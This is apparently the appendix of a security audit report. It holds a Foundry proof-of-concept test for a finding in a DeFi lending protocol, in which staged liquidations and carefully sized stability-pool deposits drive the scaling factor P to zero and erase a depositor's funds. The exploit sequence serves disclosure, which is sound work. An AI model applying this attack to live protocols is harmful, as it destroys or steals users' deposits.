Appendix
Derivation of P
The following information is based off R. Pardoe, “Scalable reward distribution with compounding stakes,”↗ Dec. 2020.
Exploit for the finding 3.1
Follow is an exploit written in foundry for the finding explained in 3.1
function testPto0Exploit() public{
//assign addresses and give tokens.
address depositor = vm.addr(0x8089);
address alice = vm.addr(0xa11c3);
address defaulter_1 = vm.addr(0xdef1);
address defaulter_2 = vm.addr(0xdef2);
address defaulter_3 = vm.addr(0xdef3);
vm.startPrank(deployer);
mockerc20.mint(depositor,10000000 * 1e18);
mockerc20.mint(defaulter_1,10000 * 1e18);
mockerc20.mint(defaulter_2,10000 * 1e18);
mockerc20.mint(defaulter_3,10000 * 1e18);
vm.stopPrank();
//A depositor provides debttoken to SP.
vm.startPrank(depositor);
mockerc20.approve(address(borroweroperations),100000 * 1e18);
borroweroperations.openTrove(IERC20(mockerc20),address(depositor),
1e17,100000 * 1e18,100000 * 1e18,address(0),address(0));
debttoken.transfer(alice,debttoken.balanceOf(depositor));
vm.startPrank(alice);
debttoken.approve(address(stabilitypool),debttoken.balanceOf(alice));
stabilitypool.provideToSP(10000 * 1e18);
vm.stopPrank();
//Attacker creates 3 troves with 3 different addresses.
vm.startPrank(defaulter_1);
mockerc20.approve(address(borroweroperations),10000 * 1e18);
borroweroperations.openTrove(IERC20(mockerc20),address(defaulter_1),
1e17,93 * 1e18,9751243781094527343284,address(depositor),address(depositor));
vm.stopPrank();
vm.startPrank(defaulter_2);
mockerc20.approve(address(borroweroperations),10000 * 1e18);
borroweroperations.openTrove(IERC20(mockerc20),address(defaulter_2),
1e17,93 * 1e18,9751243781094527343284,address(depositor),address(depositor));
vm.stopPrank();
vm.startPrank(defaulter_3);
mockerc20.approve(address(borroweroperations),10000 * 1e18);
borroweroperations.openTrove(IERC20(mockerc20),address(defaulter_3),
1e17,93 * 1e18,9751243781094527343284,address(depositor),address(depositor));
vm.stopPrank();
//Price of collateral comes down.
pricefeed.storePrice(110 * 1e18);
//Step 1. Attacker liquidates their first trove.
liquidationmanager.liquidate(IERC20(mockerc20),defaulter_1);
console.log("Value of P after first liquidation", stabilitypool.P());
//Step 2. Attacker provides debttoken to SP.
debttoken.transfer(alice,debttoken.balanceOf(depositor));
vm.startPrank(alice);
debttoken.approve(address(stabilitypool),debttoken.balanceOf(alice));
stabilitypool.provideToSP(9999999999999999980000);
vm.stopPrank();
//Step 3. Attacker liquidates their second trove.
liquidationmanager.liquidate(IERC20(mockerc20),defaulter_2);
console.log("Value of P after second liquidation", stabilitypool.P());
//Step 4. Attacker provides debttoken to SP.
debttoken.transfer(alice,debttoken.balanceOf(depositor));
vm.startPrank(alice);
debttoken.approve(address(stabilitypool),debttoken.balanceOf(alice));
stabilitypool.provideToSP(9999999999999999980000);
vm.stopPrank();
//Step 6. Attacker liquidates their third trove.
liquidationmanager.liquidate(IERC20(mockerc20),defaulter_3);
console.log("Value of P after third liquidation", stabilitypool.P());
// P here is now 0.
vm.startPrank(alice);
console.log("Alice's deposits in stability pool before the withdrawal",stabilitypool.deposits(alice));
console.log("Alice's balance of debttoken before the withdrawal",debttoken.balanceOf(alice));
stabilitypool.withdrawFromSP(1000000000);
console.log("Alice's deposits in stability pool after the withdrawal",stabilitypool.deposits(alice));
console.log("Alice's balance of debttoken after the withdrawal",debttoken.balanceOf(alice));
console.log("Alice's deposits are now erased from the pool without being returned");
}